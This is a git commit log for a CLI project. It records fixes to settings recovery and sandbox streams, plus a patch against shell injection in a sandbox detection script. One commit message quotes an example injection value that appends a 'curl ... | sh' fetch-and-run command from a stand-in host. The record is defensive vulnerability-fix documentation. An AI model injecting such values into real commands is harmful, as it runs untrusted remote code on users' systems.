2 Commits
Author SHA1 Message Date
jinye 09411aa0a9 fix(cli): Harden settings failures and sandbox command streams (#13140)
* fix(cli): Harden settings failures and sandbox command streams

* ci: Quote the native stdin verification step

* test(cli): Verify native sandbox and settings boundaries

* test(cli): Check complete policy during Windows settings saves

* fix(cli): Diagnose invalid verification temp roots before probing

Check private stdin pipe ownership on Linux rather than requiring proc reopening to fail. Refs #12417.

* fix(cli): address settings and sandbox review feedback (#13140)

* fix(cli): recover read-only workspace settings across restarts (#13140)

* fix(cli): preserve readonly recovery and SDK sandbox arguments

* fix: protect settings recovery and sandbox streams

Refs #12417

* test(cli): fix Windows workspace recovery fixtures

Resolve the four recovery fixtures consistently and require the intended
preservation failure instead of accepting an earlier canonical-path error.

Refs #12417
2026-10-03 12:02:48 +00:00
tanzhenxin 0cbd687885 fix(scripts): avoid shell injection in sandbox command detection (#6108)
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX
value straight into a shell string passed to execSync, so a value like
'docker; curl evil.sh | sh' would run the trailing command. Pass the
candidate as a separate argv element via execFileSync instead, using an
absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled
shell cannot be hijacked either.

Add a subprocess regression test covering several injection payload shapes.
2026-07-01 16:20:40 +08:00